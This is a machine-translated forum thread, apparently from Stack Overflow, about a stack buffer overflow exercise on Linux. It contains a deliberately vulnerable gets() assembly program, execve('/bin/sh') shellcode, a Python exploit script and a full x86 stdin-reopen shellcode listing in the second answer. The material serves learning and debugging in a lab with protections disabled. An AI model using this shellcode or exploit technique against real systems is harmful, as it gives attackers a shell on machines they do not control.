Шеллкод для простого: Эксплуатируемая программа с оболочкой завершается непосредственно после execve ( "/bin/sh" )

Я играл с переполнением буфера на Linux (amd64) и пытался использовать простую программу, но это не удалось. Я отключил функции безопасности (рандомизация размещения адресного пространства с помощью sysctl -w kernel.randomize_va_space = 0 и nx бит в BIOS). Он перескакивает в стек и выполняет шеллкод, но не запускает оболочку. Сценарий execve преуспевает, но потом он просто заканчивается. Любая идея, что неправильно? Запуск автономного файла shellcode работает отлично.

Бонусный вопрос: зачем мне нужно устанавливать rax в ноль перед вызовом printf? (См. Комментарий в коде)

Уязвимый файл buffer.s:

.data
.fmtsp:
.string "Stackpointer %p\n"
.fmtjump:
.string "Jump to %p\n"
.text
.global main
main:
    push %rbp
    mov %rsp, %rbp

    sub $120,  %rsp

    # calling printf without setting rax
    # to zero results in a segfault. why?
    xor %rax, %rax 
    mov %rsp, %rsi
    mov $.fmtsp, %rdi
    call printf

    mov %rsp, %rdi
    call gets

    xor %rax, %rax
    mov $.fmtjump, %rdi
    mov 8(%rbp), %rsi
    call printf

    xor %rax, %rax
    leave
    ret

shellcode.s

.text
.global main
main:
    mov $0x68732f6e69622fff, %rbx
    shr $0x8, %rbx
    push %rbx
    mov %rsp, %rdi
    xor %rsi, %rsi
    xor %rdx, %rdx
    xor %rax, %rax
    add $0x3b, %rax
    syscall

exploit.py

shellcode = "\x48\xbb\xff\x2f\x62\x69\x6e\x2f\x73\x68\x48\xc1\xeb\x08\x53\x48\x89\xe7\x48\x31\xf6\x48\x31\xd2\x48\x31\xc0\x48\x83\xc0\x3b\x0f\x05"
stackpointer = "\x7f\xff\xff\xff\xe3\x28"
output = shellcode
output += 'a' * (120 - len(shellcode)) # fill buffer
output += 'b' * 8 # override stored base pointer
output += ''.join(reversed(stackpointer))
print output

Скомпилировано с помощью

$ gcc -o buffer buffer.s
$ gcc -o shellcode shellcode.s

Начнем с:

$ python exploit.py | ./buffer
Stackpointer 0x7fffffffe328
Jump to 0x7fffffffe328

Отладка с помощью gdb:

$ python exploit.py > exploit.txt (Note: corrected stackpointer address in exploit.py for gdb)
$ gdb buffer
(gdb) run < exploit.txt
Starting program: /home/henning/bo/buffer < exploit.txt
Stackpointer 0x7fffffffe308
Jump to 0x7fffffffe308
process 4185 is executing new program: /bin/dash

Program exited normally.

Ответы

Ответ 1

У меня сейчас такая же проблема с Ubuntu 9.10 в VM. Отключено все измерения безопасности ОС и простые эксплоиты, такие как "выход из программы и установка кода выхода на 42", работают, но при попытке открыть оболочку программа просто завершается. Вывод gdb идентичен:

(gdb) run < exploit.0xbffff3b8 
Starting program: /home/seminar/ubung/target/client < exploit.0xbffff3b8

Enter password: Sorry. Wrong password.
Executing new program: /bin/bash

Program exited normally.
(gdb)

Вещь, мне нужно, чтобы она работала в ок. 16 часов для презентации: -D

Обновление: Я нашел это аккуратное исследование: www.shell-storm.org/papers/files/539.pdf

На странице 16 говорится: "Если мы попытаемся выполнить оболочку, она немедленно прекратится в этой конфигурации"

В других примерах, которые не используют gets(), они очень хорошо порождают оболочку. К сожалению, они не дают подсказки о том, почему это не работает.: (

Следующее обновление: Кажется, это связано с stdin. Оболочка не может правильно использовать ту, которую она получает от исходного процесса. Я попытался использовать минимальную оболочку, я нашел исходный код для (evilsh). Он разбился в точке, где он пытался прочитать ввод. Я предполагаю, что bash/dash проверяет это и просто молча выходит, когда что-то не так с stdin.

Хорошо, пожалуйста, не убивай меня за то, что я здесь разговаривал, но...

Я нашел решение!

По какой-то причине необходимо возобновить ввод. Я нашел рабочий шеллкод здесь:

http://www.milw0rm.com/shellcode/2040

Я не вижу быстрого, но я могу запускать программы и т.д., используя открытую оболочку.

Ответ 2

Ссылка, предоставленная Zenoc, мертва, но все еще может быть найдена в машине Wayback. Для удобства я воспроизвел его ниже. Мне нужно было включить add $0x10,%esp вверху, чтобы дать мне больше пространства стека, так как все push es в коде были в буфере, где хранился мой шеллкод. Если вы хотите включить это в шелл-код, просто добавьте "\ x83\xc4\x10" к началу. Шелковой код составляет 55 байтов без моего добавления, а 58 с.

/*
 * $Id: gets-linux.c,v 1.3 2004/06/02 12:22:30 raptor Exp $
 *
 * gets-linux.c - stdin re-open shellcode for Linux/x86
 * Copyright (c) 2003 Marco Ivaldi <[email protected]>
 *
 * Local shellcode for stdin re-open and /bin/sh exec. It closes stdin 
 * descriptor and re-opens /dev/tty, then does an execve() of /bin/sh.
 * Useful to exploit some gets() buffer overflows in an elegant way...
 */

/*
 * close(0) 
 *
 * 8049380:       31 c0                   xor    %eax,%eax
 * 8049382:       31 db                   xor    %ebx,%ebx
 * 8049384:       b0 06                   mov    $0x6,%al
 * 8049386:       cd 80                   int    $0x80
 *
 * open("/dev/tty", O_RDWR | ...)
 *
 * 8049388:       53                      push   %ebx
 * 8049389:       68 2f 74 74 79          push   $0x7974742f
 * 804938e:       68 2f 64 65 76          push   $0x7665642f
 * 8049393:       89 e3                   mov    %esp,%ebx
 * 8049395:       31 c9                   xor    %ecx,%ecx
 * 8049397:       66 b9 12 27             mov    $0x2712,%cx
 * 804939b:       b0 05                   mov    $0x5,%al
 * 804939d:       cd 80                   int    $0x80
 *
 * execve("/bin/sh", ["/bin/sh"], NULL)
 *
 * 804939f:       31 c0                   xor    %eax,%eax
 * 80493a1:       50                      push   %eax
 * 80493a2:       68 2f 2f 73 68          push   $0x68732f2f
 * 80493a7:       68 2f 62 69 6e          push   $0x6e69622f
 * 80493ac:       89 e3                   mov    %esp,%ebx
 * 80493ae:       50                      push   %eax
 * 80493af:       53                      push   %ebx
 * 80493b0:       89 e1                   mov    %esp,%ecx
 * 80493b2:       99                      cltd   
 * 80493b3:       b0 0b                   mov    $0xb,%al
 * 80493b5:       cd 80                   int    $0x80
 */

char sc[] = 
"\x31\xc0\x31\xdb\xb0\x06\xcd\x80"
"\x53\x68/tty\x68/dev\x89\xe3\x31\xc9\x66\xb9\x12\x27\xb0\x05\xcd\x80"
"\x31\xc0\x50\x68//sh\x68/bin\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80";

main()
{
    int (*f)() = (int (*)())sc; f();
}

// milw0rm.com [2006-07-20]

Примечание. Я не мог добавить это как отредактировать ответ Zenoc, потому что очередь редактирования заполнена.

Если у вас возникли проблемы с определением адреса вашего шеллкода из-за различий в стеках в терминале и gdb, посмотрите на мой ответ здесь.